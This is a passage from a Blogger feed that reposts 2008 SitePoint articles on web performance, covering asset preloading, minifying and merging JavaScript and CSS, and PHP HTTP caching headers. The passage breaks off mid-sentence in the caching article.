home page has loaded -- a technique with the slightly confusing name of post-load&lt;br /&gt;preloading. Let's see an example.&lt;br /&gt;Let's suppose that the file containing your homepage is named home.html, that numerous other HTML files containing&lt;br /&gt;content are scattered throughout your site, and that all of these content pages use a JavaScript file, mystuff.js, of which&lt;br /&gt;only a small part is needed by the homepage.&lt;br /&gt;Your strategy might be to take the part of the JavaScript that's used by the homepage out of mystuff.js and place it inline&lt;br /&gt;in home.html. Then, once home.html has completed loading, make a behind-the-scenes request to pre-load&lt;br /&gt;mystuff.js. This way, when the user hits one of your content pages, the JavaScript has already been delivered to the&lt;br /&gt;browser and cached.&lt;br /&gt;Once again, this technique is used by some of the big boys: both Google and Yahoo! have inline scripts and styles on their&lt;br /&gt;homepages, and they also make use of post-load preloading. If you visit Google's homepage, it loads some HTML and one&lt;br /&gt;single image -- the logo. Then, once the home page has finished loading, there is a request to get the sprite image [50], which&lt;br /&gt;is not actually needed until the second page loads -- the one displaying the search results.&lt;br /&gt;The Yahoo search page [51] performs conditional pre-loading -- this page doesn't automatically load additional assets, but&lt;br /&gt;waits for the user to start typing in the search box. Once you've begun typing, it's almost guaranteed that you'll submit a&lt;br /&gt;search query. And when you do, you'll land on a search results page that contains some components that have already been&lt;br /&gt;cached for you.&lt;br /&gt;Preloading an image can be done with a simple line of JavaScript:&lt;br /&gt;new Image().src='image.png';&lt;br /&gt;For preloading JavaScript files, use the JavaScript include_DOM technique [52] and create a new &lt;script&gt; tag, like so:&lt;br /&gt;var js = document.createElement('script');&lt;br /&gt;js.src = 'mysftuff.js';&lt;br /&gt;document.getElementsByTagName('head')[0].appendChild(js);&lt;br /&gt;Here's the CSS version:&lt;br /&gt;var css = document.createElement('link');&lt;br /&gt;css.href = 'mystyle.css';&lt;br /&gt;css.rel = 'stylesheet';&lt;br /&gt;document.getElementsByTagName('head')[0].appendChild(css);&lt;br /&gt;In the first example, the image is requested but never used, so it doesn't affect the current page. In the second example, the&lt;br /&gt;script is added to the page, so as well as being downloaded, it will be parsed and executed. The same goes for the CSS -- it, too,&lt;br /&gt;will be applied to the page. If this is undesirable, you can still pre-load the assets using XMLHttpRequest.&lt;br /&gt;JavaScript Optimizations&lt;br /&gt;Before diving into the JavaScript code and micro-optimizing every function and every loop, let's first look at what big-picture&lt;br /&gt;IE)&lt;br /&gt;Web Site Optimization: 13 Simple Steps http://www.sitepoint.com/print/web-site-optimization-steps&lt;br /&gt;13 of 17 2/17/2008 11:56 PM&lt;br /&gt;items we can tackle easily that might have a significant impact on a site's performance. Here are some guidelines for&lt;br /&gt;improving the impact that JavaScript files have on your site's performance:&lt;br /&gt;1. Merge .js files.&lt;br /&gt;2. Minify or obfuscate scripts.&lt;br /&gt;3. Place scripts at the bottom of the page.&lt;br /&gt;4. Remove duplicates.&lt;br /&gt;Merge .js Files&lt;br /&gt;As per the basic rules, you should aim for your JavaScripts to make as few requests as possible; ideally, this also means that&lt;br /&gt;you should have only one .js file. This task is as simple as taking all .js script files and placing them into a single file.&lt;br /&gt;While a single-file approach is recommended in most cases, sometimes you may derive some benefit from having two scripts&lt;br /&gt;-- one for the functionality that's needed as soon as the page loads, and another for the functionality that can wait for the page&lt;br /&gt;to load first. Another situation in which two files might be desirable is when your site makes use of a piece of functionality&lt;br /&gt;across multiple pages -- the shared scripts could be stored in one file (and thus cached from page to page), and the scripts&lt;br /&gt;specific to that one page could be stored in the second file.&lt;br /&gt;Minify or Obfuscate Scripts&lt;br /&gt;Now that you've merged your scripts, you can go ahead and minify or obfuscate them. Minifying means removing everything&lt;br /&gt;that's not necessary -- such as comments and whitespace. Obfuscating goes one step further and involves renaming and&lt;br /&gt;rearranging functions and variables so that their names are shorter, making the script very difficult to read. Obfuscation is&lt;br /&gt;often used as a way of keeping JavaScript source a secret, although if your script is available on the Web, it can never be 100%&lt;br /&gt;secret. Read more about minification and obfuscation in Douglas Crockford's helpful article on the topic [53].&lt;br /&gt;In general, if you gzip the JavaScript, you'll already have made a huge gain in file size, and you'll only obtain a small additional&lt;br /&gt;benefit by minifying and/or obfuscating the script. On average, gzipping alone can result in savings of 75-80%, while gzipping&lt;br /&gt;and minifying can give you savings of 80-90%. Also, when you're changing your code to minify or obfuscate, there's a risk that&lt;br /&gt;you may introduce bugs. If you're not overly worried about someone stealing your code, you can probably forget obfuscation&lt;br /&gt;and just merge and minify, or even just merge your scripts only (but always gzip them!).&lt;br /&gt;An excellent tool for JavaScript minification is JSMin [54] and it also has a PHP port [55], among others. One obfuscation tool&lt;br /&gt;is Packer [56] -- a free online tool that, incidentally, is used by jQuery [57].&lt;br /&gt;Changing your code in order to merge and minify should become an extra, separate step in the process of developing your site.&lt;br /&gt;During development, you should use as many .js files as you see fit, and then when the site is ready to go live, substitute&lt;br /&gt;your "normal" scripts with the merged and minified version. You could even develop a tool to do this for you. Below, I've&lt;br /&gt;included an example of a small utility that does just this. It's a command-line script that uses the PHP port of JSMin:&lt;br /&gt;&lt;?php&lt;br /&gt;include 'jsmin.php';&lt;br /&gt;array_shift($argv);&lt;br /&gt;foreach ($argv AS $file) {&lt;br /&gt;echo '/* ', $file, ' */';&lt;br /&gt;echo JSMin::minify(file_get_contents($file)), "\n";&lt;br /&gt;}&lt;br /&gt;?&gt;&lt;br /&gt;Really simple, isn't it? You can save it as compress.php and run it as follows:&lt;br /&gt;Web Site Optimization: 13 Simple Steps http://www.sitepoint.com/print/web-site-optimization-steps&lt;br /&gt;14 of 17 2/17/2008 11:56 PM&lt;br /&gt;$ php compress.php source1.js source2.js source3.js &gt; result.js&lt;br /&gt;This will combine and minify the files source1.js, source2.js, and source3.js into one file, called&lt;br /&gt;result.js.&lt;br /&gt;The script above is useful when you merge and minify as a step in the site deployment process. Another, lazier option is to do&lt;br /&gt;the same on the fly -- check out Ed Eliot's blog post [58], and this blog post by SitePoint's Paul Annesley [59] for some ideas.&lt;br /&gt;Many third-party JavaScript libraries are provided in their uncompressed form as well as in a minified version. You can&lt;br /&gt;therefore download and use the minified versions provided by the library's creator, and then only worry about your own&lt;br /&gt;scripts. Something to keep in mind is the licensing of any third-party library that you use. Even though you might have&lt;br /&gt;combined and minified all of your scripts, you should still retain the copyright notices of each library alongside the code.&lt;br /&gt;Place Scripts at the Bottom of the Page&lt;br /&gt;The third rule of thumb to follow regarding JavaScript optimization is that the script should be placed at the bottom of the&lt;br /&gt;page, as close to the ending &lt;/body&gt; tag as possible. The reason? Well, due to the nature of the scripts (they could&lt;br /&gt;potentially change anything on a page), browsers block all downloads when they encounters a &lt;script&gt; tag. So until a&lt;br /&gt;script is downloaded and parsed, no other downloads will be initiated.&lt;br /&gt;Placing the script at the bottom is a way to avoid this negative blocking effect. Another reason to have as few &lt;script&gt; tags&lt;br /&gt;as possible is that the browser initiates its JavaScript parsing engine for every script it encounters. This can be expensive, and&lt;br /&gt;therefore parsing should ideally only occur once per page.&lt;br /&gt;Remove Duplicates&lt;br /&gt;Another guideline regarding JavaScript is to avoid including the same script twice. It may sound like strange advice (why&lt;br /&gt;would you ever do this?) but it happens: if, for example, a large site used multiple server-side includes that included&lt;br /&gt;JavaScript files, it's conceivable that two of these might double up. The duplicate script would cause the browser's parsing&lt;br /&gt;engine to be started twice and possibly (in some IE versions) even request the file for the second time. Duplicate scripts might&lt;br /&gt;also be an issue when you're using third party libraries. Let's suppose you had a carousel widget and a photo gallery widget&lt;br /&gt;that you downloaded from different sites, and they both used jQuery. In this case you'd want to make sure that you didn't&lt;br /&gt;include jQuery twice by mistake. Also, if you use YUI [60], make sure you don't include a library twice by including, for&lt;br /&gt;example, the [61] utility (dom-min.js), the Event utility (event-min.js) and the utilities.js library,&lt;br /&gt;which contains both DOM and Event.&lt;br /&gt;CSS Optimizations&lt;br /&gt;Merge and Minify&lt;br /&gt;For your CSS files you can follow the guidelines we discussed for JavaScripts: minify and merge all style sheets into a single&lt;br /&gt;file to minimize download size and the number of HTTP requests taking place. Merging all files into one is a trivial task, but&lt;br /&gt;the job of minification may be a bit harder, especially if you're using CSS hacks to target specific browsers -- since some hacks&lt;br /&gt;exploit parsing bugs in the browsers, they might also trick your minifier utility.&lt;br /&gt;You may decide not to go through the hassle of minifying style sheets (and the associated re-testing after minification). After&lt;br /&gt;all, if you decide to serve the merged and gzipped style sheet, that's already a pretty good optimization.&lt;br /&gt;If you do decide to minify CSS, apart from the option of minifying manually (simply removing comments and whitespace),&lt;br /&gt;you can use some of the available tools, such as CSSTidy [62], [63]'s HTML_CSS library&lt;br /&gt;(http://pear.php.net/package/HTML_CSS/), or SitePoint's own Dust-me Selectors Firefox plugin [64].&lt;br /&gt;Place Styles at the Top of the Page&lt;br /&gt;Your single, gzipped (and optionally minified) style sheet is best placed at the beginning of the HTML file, in the &lt;head&gt;&lt;br /&gt;DOM&lt;br /&gt;PEAR&lt;br /&gt;Web Site Optimization: 13 Simple Steps http://www.sitepoint.com/print/web-site-optimization-steps&lt;br /&gt;15 of 17 2/17/2008 11:56 PM&lt;br /&gt;section -- which is where you'd usually put it anyway. The reason is that most browsers ( [65] is an exception) won't&lt;br /&gt;render anything on the page until the all the style sheets are duly downloaded and parsed. Additionally, none of the images&lt;br /&gt;referenced from the CSS will be downloaded unless the CSS parsing is complete. So it's better to include the CSS as early on&lt;br /&gt;the page as possible.&lt;br /&gt;You might think about distributing images across different domains, though. Images linked from the CSS won't be&lt;br /&gt;downloaded until later, so in the meantime, your page can use the available download window to request content images from&lt;br /&gt;the domain that hosts the CSS images and is temporarily "idle".&lt;br /&gt;Ban Expressions&lt;br /&gt;IE allows JavaScript expressions in CSS, like this one:&lt;br /&gt;#content {&lt;br /&gt;left: expression(document.body.offsetWidth)&lt;br /&gt;}&lt;br /&gt;You should avoid JavaScript expressions for a number of reasons. First of all, they're not supported by all browsers. They also&lt;br /&gt;harm the "separation of concerns". And, when it comes to performance, expressions are bad because they're recalculated&lt;br /&gt;every time the page is rendered or resized, or simply when you roll your mouse over the page. There are ways to make&lt;br /&gt;expressions less expensive [66] -- you can cache values after they're initially calculated, but you're probably better off simply&lt;br /&gt;to avoid them.&lt;br /&gt;Tools for Performance Optimization&lt;br /&gt;A number of tools can help you in your performance optimization quest. Most importantly, you'd want to monitor what's&lt;br /&gt;happening when the page is loaded, so that you can make informed decisions. Try these utilities:&lt;br /&gt;Firebug's Net panel for Firefox, at http://www.getfirebug.com [67]&lt;br /&gt;YSlow, Yahoo!'s performance extension to Firebug, at http://developer.yahoo.com/yslow/ [68]&lt;br /&gt;LiveHTTP Headers for Firefox, at http://livehttpheaders.mozdev.org/ [69]&lt;br /&gt;Fiddler -- for IE, but also a general-purpose packet sniffer, at http://www.fiddlertool.com/fiddler/ [70]&lt;br /&gt;HTTPWatch for IE (commercial, free version), at http://www.httpwatch.com/ [71]&lt;br /&gt;Web Inspector for Safari, at http://webkit.org/blog/?p=41 [72]&lt;br /&gt;Summary&lt;br /&gt;Whew! If you've made it this far, you now know quite a lot about how to approach a site optimization project (and more&lt;br /&gt;importantly, how to build your next web site with performance in mind). Remember the general rule of thumb that, when it&lt;br /&gt;comes to optimization, you should concentrate on the items with the biggest impact, as opposed to "micro-optimizing".&lt;br /&gt;You may choose not to implement all the recommendations discussed above, but you can still make quite a difference by&lt;br /&gt;focusing on the really low-hanging fruit, such as:&lt;br /&gt;making fewer HTTP requests by combining components -- JavaScript files, style sheets and images (by using CSS&lt;br /&gt;Sprites)&lt;br /&gt;serving all textual content, including HTML, scripts, styles, XML, JSON, and plain text, in a gzipped format&lt;br /&gt;minifying and placing scripts at the bottom, and style sheets at the top of your files&lt;br /&gt;using separate cookie-free domains for your components&lt;br /&gt;Good luck with your optimization efforts -- it's very rewarding when you see the results!&lt;br /&gt;Back to SitePoint.com&lt;br /&gt;Opera&lt;br /&gt;Web Site Optimization: 13 Simple Steps http://www.sitepoint.com/print/web-site-optimization-steps&lt;br /&gt;16 of 17 2/17/2008 11:56 PM&lt;br /&gt;[1] http://developer.yahoo.com/performance/rules.html&lt;br /&gt;[2] /glossary.php?q=A#term_19&lt;br /&gt;[3] /glossary.php?q=P#term_1&lt;br /&gt;[4] /glossary.php?q=C#term_8&lt;br /&gt;[5] /glossary.php?q=J#term_9&lt;br /&gt;[6] /glossary.php?q=D#term_41&lt;br /&gt;[7] http://developer.yahoo.com/performance/rules.html&lt;br /&gt;[8] http://www.oreilly.com/catalog/9780596514211/&lt;br /&gt;[9] http://yuiblog.com/blog/category/performance&lt;br /&gt;[10] /glossary.php?q=F#term_16&lt;br /&gt;[11] /glossary.php?q=J#term_65&lt;br /&gt;[12] /glossary.php?q=S#term_64&lt;br /&gt;[13] http://advsys.net/ken/utils.htm&lt;br /&gt;[14] http://pmt.sourceforge.net/pngcrush/&lt;br /&gt;[15] http://yuiblog.com/blog/2006/11/28/performance-research-part-1/&lt;br /&gt;[16] http://www.alistapart.com/articles/sprites&lt;br /&gt;[17] http://en.wikipedia.org/wiki/Content_Delivery_Network&lt;br /&gt;[18] http://www.akamai.com/&lt;br /&gt;[19] http://www.amazon.com/gp/browse.html?node=16427261&lt;br /&gt;[20] http://en.wikipedia.org/wiki/Content_Delivery_Network&lt;br /&gt;[21] http://www.coralcdn.org/&lt;br /&gt;[22] /glossary.php?q=P#term_26&lt;br /&gt;[23] http://yuiblog.com/blog/2007/04/11/performance-research-part-4/&lt;br /&gt;[24] http://developer.yahoo.com/performance/rules.html#dns_lookups&lt;br /&gt;[25] /glossary.php?q=C#term_59&lt;br /&gt;[26] /glossary.php?q=C#term_59&lt;br /&gt;[27] http://www.phpied.com/smart-browsers-dont-download-unneeded-images/&lt;br /&gt;[28] http://www.getfirebug.com&lt;br /&gt;[29] /glossary.php?q=B#term_56&lt;br /&gt;[30] http://www.phpbb.com&lt;br /&gt;[31] /glossary.php?q=U#term_22&lt;br /&gt;[32] http://httpd.apache.org/docs/2.0/mod/mod_expires.html&lt;br /&gt;[33] /glossary.php?q=X#term_3&lt;br /&gt;[34] http://livehttpheaders.mozdev.org/&lt;br /&gt;[35] /glossary.php?q=M#term_31&lt;br /&gt;[36] /glossary.php?q=F#term_45&lt;br /&gt;[37] /glossary.php?q=C#term_21&lt;br /&gt;[38]&lt;br /&gt;http://www.microsoft.com/downloads/details.aspx?familyid=85BB441A-5BB1-4A82-86EC-A249AF287513&amp;displaylang=en&lt;br /&gt;[39] http://support.microsoft.com/kb/871205&lt;br /&gt;[40] /glossary.php?q=C#term_21&lt;br /&gt;[41] http://sourceforge.net/projects/mod-gzip/&lt;br /&gt;[42] /glossary.php?q=U#term_60&lt;br /&gt;[43] http://us.i1.yimg.com/us.yimg.com/i/ww/sp/trough_1.4.gif&lt;br /&gt;[44] http://www.google.com/images/nav_logo3.png&lt;br /&gt;[45] http://www.csssprites.com/&lt;br /&gt;[46] http://www.alistapart.com/articles/sprites&lt;br /&gt;[47] http://www.sitepoint.com/article/simply-javascript/&lt;br /&gt;[48] http://yuiblog.com/blog/2007/01/04/performance-research-part-2/&lt;br /&gt;[49] /glossary.php?q=I#term_30&lt;br /&gt;[50] http://www.google.com/images/nav_logo3.png&lt;br /&gt;[51] http://search.yahoo.com/&lt;br /&gt;[52] http://www.phpied.com/javascript-include/&lt;br /&gt;[53] http://yuiblog.com/blog/2006/03/06/minification-v-obfuscation/&lt;br /&gt;[54] http://www.crockford.com/javascript/jsmin.html&lt;br /&gt;Web Site Optimization: 13 Simple Steps http://www.sitepoint.com/print/web-site-optimization-steps&lt;br /&gt;17 of 17 2/17/2008 11:56 PM&lt;br /&gt;[55] http://code.google.com/p/jsmin-php/&lt;br /&gt;[56] http://dean.edwards.name/packer/&lt;br /&gt;[57] http://www.jquery.com&lt;br /&gt;[58] http://www.ejeliot.com/blog/72&lt;br /&gt;[59] http://www.sitepoint.com/blogs/2007/04/10/faster-page-loads-bundle-your-css-and-javascript/&lt;br /&gt;[60] http://developer.yahoo.com/yui/articles/hosting/&lt;br /&gt;[61] /glossary.php?q=D#term_39&lt;br /&gt;[62] http://csstidy.sourceforge.net/&lt;br /&gt;[63] /glossary.php?q=P#term_50&lt;br /&gt;[64] http://www.sitepoint.com/dustmeselectors/&lt;br /&gt;[65] /glossary.php?q=O#term_27&lt;br /&gt;[66] http://webfx.eae.net/dhtml/cssexpr/cssexpr.html&lt;br /&gt;[67] http://www.getfirebug.com&lt;br /&gt;[68] http://developer.yahoo.com/yslow/&lt;br /&gt;[69] http://livehttpheaders.mozdev.org/&lt;br /&gt;[70] http://www.fiddlertool.com/fiddler/&lt;br /&gt;[71] http://www.httpwatch.com/&lt;br /&gt;[72] http://webkit.org/blog/?p=41&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7103248129274851467-5973194520843129703?l=mysql-php-rudy.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mysql-php-rudy.blogspot.com/feeds/5973194520843129703/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7103248129274851467&amp;postID=5973194520843129703&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7103248129274851467/posts/default/5973194520843129703'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7103248129274851467/posts/default/5973194520843129703'/><link rel='alternate' type='text/html' href='http://mysql-php-rudy.blogspot.com/2008/03/web-site-optimization-13-simple-steps.html' title='Web Site Optimization: 13 Simple Steps '/><author><name>Rudy</name><uri>http://www.blogger.com/profile/03019708910125032368</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='22' height='32' src='http://bp2.blogger.com/_fpU10uqH0LU/R-Zn8jrkcgI/AAAAAAAAAC4/_pd4XzrHnm0/S220/rudi2.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7103248129274851467.post-5718747682773726477</id><published>2008-03-21T02:56:00.000-07:00</published><updated>2008-03-21T02:59:25.232-07:00</updated><title type='text'>Cache it! Solve PHP Performance Problems </title><content type='html'>In the good old days when building web sites was as easy as knocking&lt;br /&gt;up a few [1] pages, the delivery of a web page to a browser was&lt;br /&gt;a simple matter of having the web server fetch a file. A site's visitors&lt;br /&gt;would see its small, text-only pages almost immediately, unless they&lt;br /&gt;were using particularly slow modems. Once the page was&lt;br /&gt;downloaded, the browser would [2] it somewhere on the local&lt;br /&gt;computer so that, should the page be requested again, after&lt;br /&gt;performing a quick check with the server to ensure the page hadn't&lt;br /&gt;been updated, the browser could display the locally cached version.&lt;br /&gt;Pages were served as quickly and efficiently as possible, and&lt;br /&gt;everyone was happy.&lt;br /&gt;Then dynamic web pages came along and spoiled the party by introducing two&lt;br /&gt;problems:&lt;br /&gt;When a request for a dynamic web page is received by the server, some&lt;br /&gt;intermediate processing must be completed, such as the execution of&lt;br /&gt;scripts by the [3] engine. This processing introduces a delay before&lt;br /&gt;the web server begins to deliver the output to the browser. This may not be&lt;br /&gt;a significant delay where simple PHP scripts are concerned, but for a more&lt;br /&gt;complex application, the PHP engine may have a lot of work to do before&lt;br /&gt;the page is finally ready for delivery. This extra work results in a&lt;br /&gt;noticeable time lag between the user's requests and the actual display of&lt;br /&gt;pages in the browser.&lt;br /&gt;A typical web server, such as [4], uses the time of file modification&lt;br /&gt;to inform a web browser of a requested page's age, allowing the browser to&lt;br /&gt;take appropriate [5] action. With dynamic web pages, the actual&lt;br /&gt;PHP script may change only occasionally; meanwhile, the content it&lt;br /&gt;displays, which is often fetched from a database, will change frequently.&lt;br /&gt;The web server has no way of discerning updates to the database, so it&lt;br /&gt;doesn't send a last modified date. If the client (that is, the user's browser)&lt;br /&gt;has no indication of how long the data will remain valid, it will take a&lt;br /&gt;guess. This is problematic if the browser decides to use a locally cached&lt;br /&gt;Cache it! Solve PHP Performance&lt;br /&gt;Problems&lt;br /&gt;HTML&lt;br /&gt;cache&lt;br /&gt;PHP&lt;br /&gt;Apache&lt;br /&gt;caching&lt;br /&gt;Cache it! Solve PHP Performance Problems http://www.sitepoint.com/print/caching-php-performance&lt;br /&gt;2 of 21 2/17/2008 9:39 PM&lt;br /&gt;Ben Balbo&lt;br /&gt;Ben Balbo was&lt;br /&gt;born in&lt;br /&gt;Germany, grew&lt;br /&gt;up in the UK,&lt;br /&gt;lives in Melbourne, and likes&lt;br /&gt;Guinness. While he isn't&lt;br /&gt;drinking Guinness (which is&lt;br /&gt;most of the time in&lt;br /&gt;Melbourne, as it just doesn't&lt;br /&gt;taste the same), he earns a&lt;br /&gt;living as a PHP developer&lt;br /&gt;and trainer, security&lt;br /&gt;consultant, and Open Source&lt;br /&gt;developer. He has been&lt;br /&gt;known to talk in public about&lt;br /&gt;web development-related&lt;br /&gt;topics, which comes as part&lt;br /&gt;of the package of being on the&lt;br /&gt;committees of both the&lt;br /&gt;Melbourne PHP User Group&lt;br /&gt;and Open Source Developers'&lt;br /&gt;Club. Although he wouldn't&lt;br /&gt;admit this, he participates at&lt;br /&gt;this level only in order to go&lt;br /&gt;to restaurants or pubs after&lt;br /&gt;the meetings.&lt;br /&gt;Ben Balbo has written 2&lt;br /&gt;articles for SitePoint with an&lt;br /&gt;average reader rating of 8.8.&lt;br /&gt;View all articles by Ben&lt;br /&gt;Balbo...&lt;br /&gt;version of the page which is now out of date, or if the browser decides to&lt;br /&gt;request from the server a fresh copy of the page, which actually has no&lt;br /&gt;new content, making the request redundant. The web server will always&lt;br /&gt;respond with a freshly constructed version of the page, regardless of&lt;br /&gt;whether or not the data in the database has actually changed.&lt;br /&gt;To avoid the possibility of a web site visitor viewing out-of-date content, most&lt;br /&gt;web developers use a meta tag or HTTP headers to tell the browser never to use a&lt;br /&gt;cached version of the page. However, this negates the web browser's natural&lt;br /&gt;ability to cache web pages, and entails some serious disadvantages. For example,&lt;br /&gt;the content delivered by a dynamic page may only change once a day, so there's&lt;br /&gt;certainly a benefit to be gained by having the browser cache a page--even if only&lt;br /&gt;for 24 hours.&lt;br /&gt;If you're working with a small PHP application, it's usually possible to live with&lt;br /&gt;both issues. But as your site increases in complexity--and attracts more&lt;br /&gt;traffic--you'll begin to run into performance problems. Both these issues can be&lt;br /&gt;solved, however: the first with server-side caching; the second, by taking control&lt;br /&gt;of [6] caching from within your application. The exact approach you&lt;br /&gt;use to solve these problems will depend on your application, but in this chapter,&lt;br /&gt;we'll consider both PHP and a number of class libraries from [7] as&lt;br /&gt;possible panaceas for your web page woes.&lt;br /&gt;Note that in this chapter's discussions of caching, we'll look at only those&lt;br /&gt;solutions that can be implemented in PHP. For a more general introduction, the&lt;br /&gt;definitive discussion of web caching is represented by Mark Nottingham's&lt;br /&gt;tutorial [8].&lt;br /&gt;Furthermore, the solutions in this chapter should not be confused with some of&lt;br /&gt;the script caching solutions that work on the basis of optimizing and caching&lt;br /&gt;compiled PHP scripts, such as Zend Accelerator [9] and ionCube PHP&lt;br /&gt;Accelerator [10].&lt;br /&gt;This chapter is excerpted from The PHP Anthology: 101 Essential Tips, Tricks &amp; Hacks, 2nd Edition [11]. Download&lt;br /&gt;this chapter plus two others, covering PDO and Databases, and Access Control [12], in PDF format to read offline.&lt;br /&gt;How do I prevent web browsers from caching a page?&lt;br /&gt;If timely information is crucial to your web site and you wish to prevent out-of-date content from ever being visible,&lt;br /&gt;you need to understand how to prevent web browsers--and proxy servers--from caching pages in the first place.&lt;br /&gt;Solutions&lt;br /&gt;There are two possible approaches we could take to solving this problem: using HTML meta tags, and using HTTP&lt;br /&gt;headers.&lt;br /&gt;Using HTML Meta Tags&lt;br /&gt;The most basic approach to the prevention of page caching is one that utilizes HTML meta tags:&lt;br /&gt;&lt;meta http-equiv="expires" content="Mon, 26 Jul 1997 05:00:00 GMT"/&gt;&lt;br /&gt;client-side&lt;br /&gt;PEAR&lt;br /&gt;Cache it! Solve PHP Performance Problems http://www.sitepoint.com/print/caching-php-performance&lt;br /&gt;3 of 21 2/17/2008 9:39 PM&lt;br /&gt;&lt;meta http-equiv="pragma" content="no-cache" /&gt;&lt;br /&gt;The insertion of a date that's already passed into the Expires meta tag tells the browser that the cached copy of the&lt;br /&gt;page is always out of date. Upon encountering this tag, the browser usually won't cache the page. Although the&lt;br /&gt;Pragma: no-cache meta tag isn't guaranteed, it's a fairly well-supported convention that most web browsers&lt;br /&gt;follow. However, the two issues associated with this approach, which we'll discuss below, may prompt you to look at&lt;br /&gt;the alternative solution.&lt;br /&gt;Using HTTP Headers&lt;br /&gt;A better approach is to use the HTTP protocol itself, with the help of PHP's header function, to produce the&lt;br /&gt;equivalent of the two HTML meta tags above:&lt;br /&gt;&lt;?php&lt;br /&gt;header('Expires: Mon, 26 Jul 1997 05:00:00 GMT');&lt;br /&gt;header('Pragma: no-cache');&lt;br /&gt;?&gt;&lt;br /&gt;We can go one step further than this, using the Cache-Control header that's supported by HTTP 1.1-capable&lt;br /&gt;browsers:&lt;br /&gt;&lt;?php&lt;br /&gt;header('Expires: Mon, 26 Jul 1997 05:00:00 GMT');&lt;br /&gt;header('Cache-Control: no-store, no-cache, must-revalidate');&lt;br /&gt;header('Cache-Control: post-check=0, pre-check=0', FALSE);&lt;br /&gt;header('Pragma: no-cache');&lt;br /&gt;?&gt;&lt;br /&gt;For a precise description of HTTP 1.1 Cache-Control headers, have a look at the W3C's HTTP 1.1 RFC [13]. Another&lt;br /&gt;great source of information about HTTP headers, which can be applied readily to PHP, is mod_perl's documentation&lt;br /&gt;on issuing correct headers [14].&lt;br /&gt;Discussion&lt;br /&gt;Using the Expires meta tag sounds like a good approach, but two problems are associated with it:&lt;br /&gt;The browser first has to download the page in order to read the meta tags. If a tag wasn't present when the&lt;br /&gt;page was first requested by a browser, the browser will remain blissfully ignorant and keep its cached copy of&lt;br /&gt;the original.&lt;br /&gt;Proxy servers that cache web pages, such as those common to ISPs, generally won't read the HTML documents&lt;br /&gt;themselves. A web browser might know that it shouldn't cache the page, but the proxy server between the&lt;br /&gt;browser and the web server probably doesn't--it will continue to deliver the same out-of-date page to the client.&lt;br /&gt;On the other hand, using the HTTP protocol to prevent page caching essentially guarantees that no web browser or&lt;br /&gt;intervening proxy server will cache the page, so visitors will always receive the latest content. In fact, the first header&lt;br /&gt;should accomplish this on its own; this is the best way to ensure a page is not cached. The Cache-Control and&lt;br /&gt;Pragma headers are added for some degree of insurance. Although they don't work on all browsers or proxies, the&lt;br /&gt;Cache-Control and Pragma headers will catch some cases in which the Expires header doesn't work as&lt;br /&gt;intended--if the client computer's date is set incorrectly, for example.&lt;br /&gt;Of course, to disallow caching entirely introduces the problems we discussed at the start of this chapter: it negates&lt;br /&gt;the web browser's natural ability to cache pages, and can create unnecessary overhead, as new versions of pages are&lt;br /&gt;Cache it! Solve PHP Performance Problems http://www.sitepoint.com/print/caching-php-performance&lt;br /&gt;4 of 21 2/17/2008 9:39 PM&lt;br /&gt;always requested, even though those pages may not have been updated since the browser's last request. We'll look at&lt;br /&gt;the solution to these issues in just a moment.&lt;br /&gt;How do I control client-side caching?&lt;br /&gt;We addressed the task of disabling client-side caching in "How do I prevent web browsers from caching a page?", but&lt;br /&gt;disabling the cache is rarely the only (or best) option.&lt;br /&gt;Here we'll look at a mechanism that allows us to take advantage of client-side caches in a way that can be controlled&lt;br /&gt;from within a PHP script.&lt;br /&gt;Apache Required!&lt;br /&gt;This approach will only work if you're running PHP as an Apache web server module, because it requires use of the&lt;br /&gt;function getallheaders--which only works with Apache--to fetch the HTTP headers sent by a web browser.&lt;br /&gt;Solutions&lt;br /&gt;In controlling client-side caching you have two alternatives. You can set a date on which the page will expire, or&lt;br /&gt;respond to the browser's request headers. Let's see how each of these tactics is executed.&lt;br /&gt;Setting a Page Expiry Header&lt;br /&gt;The header that's easiest to implement is the Expires header--we use it to set a date on which the page will expire,&lt;br /&gt;and until that time, web browsers are allowed to use a cached version of the page. Here's an example of this header at&lt;br /&gt;work:&lt;br /&gt;expires.php (excerpt)&lt;br /&gt;&lt;?php&lt;br /&gt;function setExpires($expires) {&lt;br /&gt;header(&lt;br /&gt;'Expires: '.gmdate('D, d M Y H:i:s', time()+$expires).'GMT');&lt;br /&gt;}&lt;br /&gt;setExpires(10);&lt;br /&gt;echo ( 'This page will self destruct in 10 seconds&lt;br /&gt;' );&lt;br /&gt;echo ( 'The GMT is now '.gmdate('H:i:s').'&lt;br /&gt;' );&lt;br /&gt;echo ( '&lt;a href="'.$_SERVER['PHP_SELF'].'"&gt;View Again&lt;/a&gt;&lt;br /&gt;' );&lt;br /&gt;?&gt;&lt;br /&gt;In this example, we created a custom function called setExpires that sets the HTTP Expires header to a point&lt;br /&gt;in the future, defined in seconds. The output of the above example shows the current time in GMT, and provides a&lt;br /&gt;link that allows us to view the page again. If we follow this link, we'll notice the time updates only once every ten&lt;br /&gt;seconds. If you like, you can also experiment by using your browser's Refresh button to tell the browser to refresh the&lt;br /&gt;cache, and watching what happens to the displayed date.&lt;br /&gt;Acting on the Browser's Request Headers&lt;br /&gt;A more useful approach to client-side cache control is to make use of the Last-Modified and&lt;br /&gt;If-Modified-Since headers, both of which are available in HTTP 1.0. This action is known technically as&lt;br /&gt;performing a conditional GET request; whether your script returns any content depends on the value of the incoming&lt;br /&gt;If-Modified-Since request header.&lt;br /&gt;Cache it! Solve PHP Performance Problems http://www.sitepoint.com/print/caching-php-performance&lt;br /&gt;5 of 21 2/17/2008 9:39 PM&lt;br /&gt;If you use PHP version 4.3.0 and above on Apache, the HTTP headers are [15] with the functions&lt;br /&gt;apache_request_headers and apache_response_headers. Note that the function&lt;br /&gt;getallheaders has become an alias for the new apache_request_headers function.&lt;br /&gt;This approach requires that you send a Last-Modified header every time your PHP script is accessed. The next&lt;br /&gt;time the browser requests the page, it sends an If-Modified-Since header containing a time; your script can&lt;br /&gt;then identify 